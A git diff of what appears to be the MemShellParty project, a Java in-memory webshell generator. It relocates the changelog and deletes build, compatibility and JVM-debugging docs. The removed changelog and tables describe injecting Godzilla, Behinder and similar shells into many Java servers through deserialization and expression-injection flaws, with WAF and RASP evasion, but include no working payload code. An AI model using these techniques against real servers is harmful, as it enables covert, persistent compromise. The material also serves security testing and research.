diff --git a/.github/scripts/parse_changelog_of_version.py b/.github/scripts/parse_changelog_of_version.py index 3f8f09bb..e788a3d2 100644 --- a/.github/scripts/parse_changelog_of_version.py +++ b/.github/scripts/parse_changelog_of_version.py @@ -9,7 +9,7 @@ if __name__ == '__main__': args = parser.parse_args() version = args.version - with open("../../CHANGELOG.md") as f: + with open("../../web/content/docs/changelog.mdx") as f: lines = f.readlines() for line in lines: if line.startswith(f"## [{version}]"): diff --git a/CHANGELOG.md b/CHANGELOG.md deleted file mode 100644 index 52c20887..00000000 --- a/CHANGELOG.md +++ /dev/null @@ -1,354 +0,0 @@ -# Changelog - -All notable changes to this project will be documented in this file. - -The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), -and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - -## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20 - -### Added - -1. 内存马注入器支持接入回显 toString 打印 contextPath 等注入成功或错误信息(By @ReaJason) -2. boot 新增通过字节码 base64 获取类名接口,并支持自定义内存马使用随机类名或原始类名 -3. 适配 Apusic 9.0.1 版本(金蝶 EAS Cloud) -4. UI 在 JSP/Base64/序列化相关 payload 生成时添加下载按钮便于下载 JSP 文件/注入器 Class 文件/原始序列化文件 -5. 支持注入器或回显马添加静态代码块执行构造方法调用,解决部分场景下无法手动调用构造方法 -6. 支持 SpringWebMVC 回显马生成(#107) -7. 添加 Jetty 12 中 ee11 的内存马注入支持和靶场测试用例 -8. 支持 ScriptEngineJar 打包方式(SnakeYaml 漏洞注入,#109) -9. 支持 AbstractTranslet 打包方式,方便 TemplatesImpl 反序列化漏洞注入 -10. 支持脚本引擎执行回显马生成,方便调试 - -### Fixed - -1. 修复自定义内存马生成报错(#102、#106,Thanks @love71 and @m0s30) -2. 修复 Tomcat Valve 仅单个情况下注入 ProxyValve 导致站挂掉(#105 Thanks @love71) -3. 默认哥斯拉内存马去除对 session 的依赖,解决部分场景下 session 为 null 导致无法连接 - -### Changed - -1. 命令执行内存马和命令执行回显马支持从参数或请求头中获取命令参数 -2. 调整靶场构建使用的 openjdk 改为 eclipse-temurin -3. 依赖更新 - -**Full Changelog:** [v2.1.0...v2.2.0](https://github.com/ReaJason/MemShellParty/compare/v2.1.0...v2.2.0) - -## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12 - -### Added - -1. 添加 BigInteger、ScriptEngineBigInteger 打包方式(#86 by @wanswu) -2. 添加 SpELSpringGzipJDK17 打包方式(#83 by @xcxmiku and @ReaJason) -3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入) -4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试) -5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征 - ```http - /path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj... - ``` - 改为只需要如下方式 - ```http - /path/code?payload=IBVQEAJ29yZy9hcGFj... - ``` - -### Fixed - -1. 修复非调试模式下,构造方法中的 e.printStackTrace() 并没有被移除 -2. 修复使用 Dockerfile 进行自定义构建时,自定义路由无法正常工作 -3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel) -4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题) -5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题 -6. 修复 Tomcat Listener 注入会使之前所有 Listener 失效(#93) - -### Changed - -1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行 -2. 去除 logback(java11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题 -3. 实现 Lombok SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa) -4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取 -5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏 -6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现 -7. 优化 Agent Attacher JDK11 异常处理 -8. 依赖更新 - -**Full Changelog:** [v2.0.0...v2.1.0](https://github.com/ReaJason/MemShellParty/compare/v2.0.0...v2.1.0) - -## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.0.0) - 2025-08-13 - -> [!WARNING] -> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了 SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example) 进行调整。 - -### Added - -- **支持探测马生成** (#71 by @ReaJason,部分代码参考 jeg 与 java-chains) -- Web 添加关于页面 -- 支持 H2 JDBC 打包方式(DataEase 漏洞注入) -- 支持 XMLDecoder 打包方式(WebLogic 漏洞注入) -- 支持 OGNL SpringUtils 打包方式(Confluence 漏洞注入) - -### Fixed - -- 修复 SpringWebMVC Agent 无法点击生成按钮 (#77) -- 修复 Spring Boot 对于 no static resource 老是抛出错误日志 -- 修复 TongWeb8 context 获取错误导致注入失败的问题 - -### Changed - -- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (#74 by @zema1) -- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)` 的场景注入失败,后续会添加字节码 Web 工具进行这块的处理) -- 简化 Tomcat AgentInjector 的代码 -- 前端 module 分包减少单个 js 体积,加快首次加载速度 -- 移除 memshell-party-bom 模块,改用 gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs) -- 使用 build-logic 替代 buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds) -- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块 -- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell 的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json) -- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令 -- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler - -**Full Changelog:** [v1.10.0...v2.0.0](https://github.com/ReaJason/MemShellParty/compare/v1.10.0...v2.0.0) - -## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07 - -### Added - -- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67) -- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑) - -### Fixed - -- 修复哥斯拉无法使用最新版连接 -- 修复 TongWeb8 Valve 未适配 -- 修复移动端 UI 输入框 placeholder 字体过大 -- 修复移动端 UI 类名复制按钮超出卡片范围 - -### Changed - -- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成 -- 合并 memshell 与 memshell-jdk8 模块,方便维护 -- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置 -- 将所有 Shell 捕获异常从 Exception 改为 Throwable -- 简化 Shell base64 方法代码 -- Gradle 更新至 8.14.2 -- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为 - Kotlin DSL - -**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0) - -## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28 - -### Added - -- 支持 TongWeb8 内存马生成 by @ReaJason -- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader() - 为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/) -- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher -- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec - -### Fixed - -- 修复 Apusic Listener 由于 response 获取错误导致不可用 -- 修复 Jakarta WebSocket 无法注入 - -### Changed - -- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。 -- Gradle、Web 项目依赖更新 -- UI 生成界面默认勾选缩小字节码 -- UI 优化手机端选项布局,单行显示每个输入框 -- UI 使用紧凑模式,隐藏非常用字段简化操作路径 -- 提取公共 Tailwind CSS 类名,简化表单组件代码 -- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX -- 重构 Shell Generator 代码 - -**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0) - -## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14 - -### Added - -- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason(#60) -- 支持哥斯拉 WebSocket 内存马生成与测试 -- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行) -- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备 - -### Fixed - -- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61) -- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败 - -### Changed - -- 命令执行改为反射调用 forkAndExec 以绕过 RASP(JDK7+) -- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module -- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问 - -**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0) - -## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06 - -### Added - -- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason(#41) -- 支持 CC3、CC4 反序列化 payload 打包方式 -- 支持随机参数生成与默认选项(#50) - -### Changed - -- 去除代码混淆相关代码 -- 为了更好地在 MavenCentral 展示,重命名部分模块 -- 使用 Jackson 代替 Fastjson 降低 boot 打包体积 -- 移除 commons-codec 降低 boot 打包体积 -- 升级 shadcn/ui 所有 component 代码 - -**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0) - -## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30 - -> 做代码生成以及代码混淆真是一件需要耐心的事情 - -### Added - -- 支持自定义内存马生成 by @ReaJason(#49) -- 支持命令回显 ASM Agent 内存马 by @ReaJason(#51) -- 支持简易的代码混淆 by @ReaJason(#13) -- 支持自动发布 DEV 分支代码 CD - -### Changed - -- 简化 Jetty 获取 Context 代码 -- 优化 Dockerfile 减小镜像体积 - -**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0) - -## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01 - -### Added - -- 支持 NeoreGeorg 内存马生成 by @ReaJason -- 支持 UI 显示更新按钮跳转到 GitHub Release 界面 - -### Changed - -- 简化 Valve 内存马代码 -- 升级 Gradle 8.13 - -**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0) - -## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26 - -### Added - -- 支持缩小字节码 (移除调试信息) by @ReaJason -- 支持 Tomcat Jakarta WebSocket - -### Fixed - -- 修复自定义注入器类名不起作用 - -### Changed - -- 优化跨平台开发体验,将 bash 脚本改为 js 脚本 - -**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0) - -## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25 - -### Fixed - -- 修复 Tomcat WebSocket 注入报错,无法工作 - -### Changed - -- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本 -- 优化构建 Spring Boot 的 Dockerfile,最小权限原则 -- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景 -- 代码重构支持一处注册所有 Server 的 Shell 配置 - -**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2) - -## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20 - -### Added - -- UI 中打包配置中添加 Loading 状态 - -### Fixed - -- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败 - -**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1) - -## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20 - -### Added - -- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason - -### Changed - -- 移除无用依赖,JavaSocket,Gson -- Gradle 升级至 8.12.1 -- 更新 TestContainers 和 Junit 的版本 - -### Fixed - -- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。 - -**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0) - -## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19 - -### Changed - -- UI 增强手机端响应式,增强 i18n 显示 (#39) - -### Fixed - -- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功 - -**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1) - -## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19 - -### Added - -- 支持 AntSword 内存马生成 by @ReaJason -- 添加 Java 反序列化其他 CB 版本 Payload 生成 - -### Changed - -- CI 分离单独测试 was7 集成测试,大幅度减少测试时间 -- 部分 UI 调整 - -### Fixed - -- 修复随机类名如果为保留字时会无法加载 - -**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0) - -## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15 - -### Added - -- 支持 Suo5 内存马生成 by @ReaJason - -### Changed - -- 升级 TailWind CSS v4 -- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别 - -### Fixed - -- 修复 sonner 颜色主题未随着修改而变化 -- 修复 IDEA 本地构建 version 一直是 unspecified - -**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0) - -## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03 - -### Added - -- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马 -- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型 -- 支持哥斯拉、冰蝎、命令执行功能 -- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式 \ No newline at end of file diff --git a/README.md b/README.md index c03dc6dc..5beb62b4 100644 --- a/README.md +++ b/README.md @@ -78,23 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest ``` -镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了 - -```bash -# 移除之前部署的 -docker rm -f memshell-party - -# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署) -docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest -``` - -## User Guide - -1. [适配情况](./docs/Compatibility.md) -2. [本地构建](./docs/BuildOnLocal.md) -3. [SDK 集成](./examples/memshell-party-maven-example) -4. [代码贡献](./CONTRIBUTING.md) - ## Special Thanks - [vulhub/java-chains](https://github.com/vulhub/java-chains) diff --git a/docs/BuildOnLocal.md b/docs/BuildOnLocal.md deleted file mode 100644 index 0c647c8a..00000000 --- a/docs/BuildOnLocal.md +++ /dev/null @@ -1,103 +0,0 @@ -## 本地构建 - -### 源代码构建 - -> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用 - -首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。 - -1. 使用 Git Clone 项目 - -```bash -git clone https://github.com/ReaJason/MemShellParty.git -``` - -2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用 - -```bash -cd MemShellParty/web - -bun install - -bun run build -``` - -3. 构建后端项目,确保使用 JDK17 环境 - -```bash -cd MemShellParty - -./gradlew :boot:bootjar -x test -``` - -构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar` - -```bash -cd MemShellParty/boot - -java -jar \ - --add-opens=java.base/java.util=ALL-UNNAMED \ - --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ - --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ - build/libs/boot-2.0.0.jar -``` - -也可这基础上再继续构建容器来使用 - -```bash -cd MemShellParty/boot - -docker buildx build -t memshell-party:latest . --load - -docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest -``` - -### Dockerfile 一键构建 - -> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)) - -下载项目根目录的 [Dockerfile](./Dockerfile) - -- ROUTE_ROOT_PATH: 前端根路由配置 -- CONTEXT_PATH: 后端访问前缀 - -```bash -# 基础构建 -docker buildx build \ - -t memshell-party:latest . --load - -# 基础镜像启动,访问 127.0.0.1:8080 -docker run -it -d -p 8080:8080 memshell-party:latest - -# 自定义访问路径构建 -docker buildx build \ - --build-arg ROUTE_ROOT_PATH=/memshell-party \ - --build-arg CONTEXT_PATH=/memshell-party \ - -t memshell-party:latest . --load - -# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party -docker run -it -p 8080:8080 \ - -e BOOT_OPTS=--server.servlet.context-path=/memshell-party \ - memshell-party:latest -``` - -如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下: - -其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和 -`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。 - -```text -location /memshell-party { - proxy_pass http://127.0.0.1:8080; - proxy_set_header Host $http_host; - proxy_set_header X-Forwarded-By $server_addr:$server_port; - proxy_set_header X-Forwarded-For $remote_addr; - proxy_http_version 1.1; - proxy_connect_timeout 3s; - proxy_read_timeout 300s; - proxy_send_timeout 300s; - proxy_buffer_size 16k; - proxy_buffers 8 64k; - proxy_busy_buffers_size 128k; -} -``` \ No newline at end of file diff --git a/docs/Compatibility.md b/docs/Compatibility.md deleted file mode 100644 index 227cf1c1..00000000 --- a/docs/Compatibility.md +++ /dev/null @@ -1,84 +0,0 @@ -## 适配情况 - -已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21 - -### 中间件以及框架 - -| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | -|----------------------|------------------------|----------------------|----------------------| -| Servlet | Servlet | Filter | Filter | -| Filter | Filter | Listener | Listener | -| Listener | Listener | Valve | Valve | -| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent | -| ProxyValve | | | | -| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent | -| ContextValve - Agent | | | | - -| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB | -|---------------------|--------------------------|-----------------|--------------| -| Servlet | Interceptor | WebFilter | NettyHandler | -| Filter | ControllerHandler | HandlerMethod | | -| Listener | FrameworkServlet - Agent | HandlerFunction | | -| FilterChain - Agent | | NettyHandler | | - -| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow | -|----------------------|----------------------------|------------------------|------------------------| -| Filter | Filter | Servlet | Servlet | -| Listener | Listener | Filter | Filter | -| Valve | Valve(6) | Listener | Listener | -| ProxyValve | | | | -| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent | -| ContextValve - Agent | ContextValve - Agent (6) | | | -| | ServletHandler - Agent (7) | | | - -| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) | -|-----------------------|-------------------------| -| Servlet | Servlet | -| Filter | Filter | -| Listener | Listener | -| FilterManager - Agent | ServletContext - Agent | - -| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) | -|----------------------|----------------------|------------------------| -| Filter | Filter | Filter | -| Listener | Listener | Listener | -| Valve | Valve | Valve | -| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | -| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | - -| Apusic AS (9 ~ 10) | Primeton(6.5) | -|---------------------|----------------------| -| Servlet | Filter | -| Filter | Listener | -| Listener | Valve | -| FilterChain - Agent | FilterChain - Agent | -| | ContextValve - Agent | - -### 内存马功能 - -- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla) -- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder) -- [x] 命令执行 -- [x] [Suo5](https://github.com/zema1/suo5) -- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword) -- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) -- [x] Custom - -### 封装方式 - -- [x] BASE64 -- [x] GZIP BASE64 -- [x] JSP -- [x] JSPX -- [x] JAR -- [x] BCEL -- [x] 内置脚本引擎、Rhino 脚本引擎 -- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell -- [x] Velocity、Freemarker、JinJava -- [x] 原生反序列化(CB 和 CC 链) -- [x] Agent -- [x] XXL-JOB Executor -- [x] Hessian、Hessian2 反序列化(XSLT链) -- [ ] JNDI -- [ ] JDBC 连接 -- [ ] 其他常见反序列化 \ No newline at end of file diff --git a/docs/RecommendToolForJavaGuys.md b/docs/RecommendToolForJavaGuys.md deleted file mode 100644 index a94566cc..00000000 --- a/docs/RecommendToolForJavaGuys.md +++ /dev/null @@ -1,178 +0,0 @@ -# 学习 Java 内存马推荐工具 - -> 工欲善其事必先利其器 - -## Arthas - -Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题 - -JDK8 以上的下载链接,https://arthas.aliyun.com/doc/download.html -JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html - -### 启动 Arthas - -直接输入 `java -jar arthas-boot.jar` 启动,回车之后会弹出选项,输入数字选择需要调试的 Java 进程。 - -```bash -❯ java -jar arthas-boot.jar -[INFO] JAVA_HOME: /Users/reajason/.sdkman/candidates/java/21.0.5-oracle -[INFO] arthas-boot version: 4.0.5 -[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER. -* [1]: 83922 /Users/reajason/.vscode/extensions/sonarsource.sonarlint-vscode-4.19.0-darwin-arm64/server/sonarlint-ls.jar - [2]: 86557 com.intellij.idea.Main -``` - -有时候可能没有 jps 命令或者不是 HotSpot JVM 会找不到 Java 进程,此时你需要通过 `ps` 找到你需要调试的 Java 进程 PID,并使用 `java -jar arthas-boot.jar ` 启动。 - -```bash -root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar -[INFO] JAVA_HOME: /opt/java/openjdk -[INFO] arthas-boot version: 4.0.5 -[INFO] Can not find java process. Try to run `jps` command lists the instrumented Java HotSpot VMs on the target system. -Please select an available pid. -``` - -arthas-boot 依赖 JDK 环境需要 tools.jar 才能启动,在 JRE 环境会歇菜。 - -```bash -root@df393b860ae3:/opt/arthas# ps -ef | grep java -root 1 0 3 14:19 ? 00:00:01 /opt/java/openjdk/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start -root 87 50 0 14:20 pts/0 00:00:00 grep --color=auto java -root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1 -[INFO] JAVA_HOME: /opt/java/openjdk -[INFO] arthas-boot version: 4.0.5 -[INFO] arthas home: /opt/arthas -[INFO] Try to attach process 1 -Exception in thread "main" java.lang.IllegalArgumentException: Can not find tools.jar under java home: /opt/java/openjdk, please try to start arthas-boot with full path java. Such as /opt/jdk/bin/java -jar arthas-boot.jar - at com.taobao.arthas.boot.ProcessUtils.findJavaHome(ProcessUtils.java:222) - at com.taobao.arthas.boot.ProcessUtils.startArthasCore(ProcessUtils.java:233) - at com.taobao.arthas.boot.Bootstrap.main(Bootstrap.java:590) -``` - -前面说了 Arthas 本质就是 Java Agent,因此使用 [jattach](https://github.com/jattach/jattach/releases/latest) 工具将其注入,再尝试连接即可。 - -TIP1: **注入的是 `/opt/arthas/arthas-agent.jar`** -TIP2: **启动仍然用的 `arthas-boot.jar`** - -```bash -root@df393b860ae3:/opt/arthas# ./jattach-linux 1 load instrument false /opt/arthas/arthas-agent.jar -Connected to remote JVM -JVM response code = 0 -0 - -root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1 -[INFO] JAVA_HOME: /opt/java/openjdk -[INFO] arthas-boot version: 4.0.5 -[INFO] arthas home: /opt/arthas -[INFO] The target process already listen port 3658, skip attach. -[INFO] arthas-client connect 127.0.0.1 3658 - ,---. ,------. ,--------.,--. ,--. ,---. ,---. - / O \ | .--. ''--. .--'| '--' | / O \ ' .-' -| .-. || '--'.' | | | .--. || .-. |`. `-. -| | | || |\ \ | | | | | || | | |.-' | -`--' `--'`--' '--' `--' `--' `--'`--' `--'`-----' - -wiki https://arthas.aliyun.com/doc -tutorials https://arthas.aliyun.com/doc/arthas-tutorials.html -version 4.0.5 -main_class org.apache.catalina.startup.Bootstrap start -pid 1 -start_time 2025-04-09 14:19:48.004 -currnt_time 2025-04-09 14:23:16.044 - -[arthas@1]$ -``` - -当看到大片上述输出,且命令提示符变成 `[arthas@1]$` 你就成功进入 Arthas 了,接下来让我们看看有哪些好用的命令吧。 - -### jad - -> [官方文档/jad.html](https://arthas.aliyun.com/doc/jad.html) - -jad 命令是用来查看反编译后的类源码。除了源码信息,还能查看是哪一个 classloader 加载的当前类,以及 classloader 的继承关系,还能看到当前类存在在哪个 jar 文件中(如果有的话),拖到 IDEA 里面就能进行调试啦。 - -- `jad org.apache.lESNa.EncryptionUtil`,查看类源码完整信息。 -- `jad org.apache.catalina.core.ApplicationFilterChain doFilter`,仅查看 doFilter 方法的源码。 - -![arthas_jad1](./images/arthas_jad1.png) - -![arthas_jad2](./images/arthas_jad2.png) - -如果回车之后显示找不到类的话,可能拼写错误,或类还没有被加载到 JVM 中,可以先尝试访问类依赖的业务路径,触发类加载之后再进行 jad。 - -### classloader - -> [官方文档/classloader.html](https://arthas.aliyun.com/doc/classloader.html) - -classloader 用来查看类加载器信息。 - -- `classloader` 查看当前有哪些类加载器,以及其类加载情况 -- `classloader -t` 查看类加载器继承关系 -- `classloader -c ` 指定类加载实例 hash 查看其 urls - -![arhtas_classloader](./images/arthas_classloader.png) - -此处的分析将会在 Java 基础中提及,有些 ClassNotFoundException 或 ClassCastException 可以通过此种方式找到问题所在。 - -### sc - -> [官方文档/sc.html](https://arthas.aliyun.com/doc/sc.html) - -sc 即 search-class,用来查找 JVM 中的类信息。常用的一种方式是查看 interface 的所有实现类。 - -- `sc javax.servlet.Servlet`,查看 Servlet 实现类有哪些 -- `sc javax.servlet.ServletContext`,查看 ServletContext 实现类有哪些 -- `sc -d org.apache.catalina.core.ApplicationContext`,查看类的详细信息,这样我们能定位到 jar 拖出来进行反编译分析。 - -![arthas_sc](./images/arthas_sc.png) - -### stop - -执行 stop 退出当前 Arthas 命令行环境,回到 Unix shell。 - -``` -[arthas@1]$ stop -Resetting all enhanced classes ... -Affect(class count: 0 , method count: 0) cost in 2 ms, listenerId: 0 -Arthas Server is going to shutdown... -[arthas@1]$ session (c5ee97b5-6809-48ab-bdfc-09d900087ec9) is closed because server is going to shutdown. -``` - -## Jadx - -> [skylot/jadx](https://github.com/skylot/jadx) - -目前 Java 最强反编译器,人手一个,几乎可以反编译任何 jar 包,部分究极混淆的类,即使无法反编译成功,也可查看字节码。 - -打开之后,可以直接将 class 或 jar 拖入到左边框中就会自动进行反编译,点击 Source Code 里面就能看到反编译的结果,最下面可以选 Code、Smali 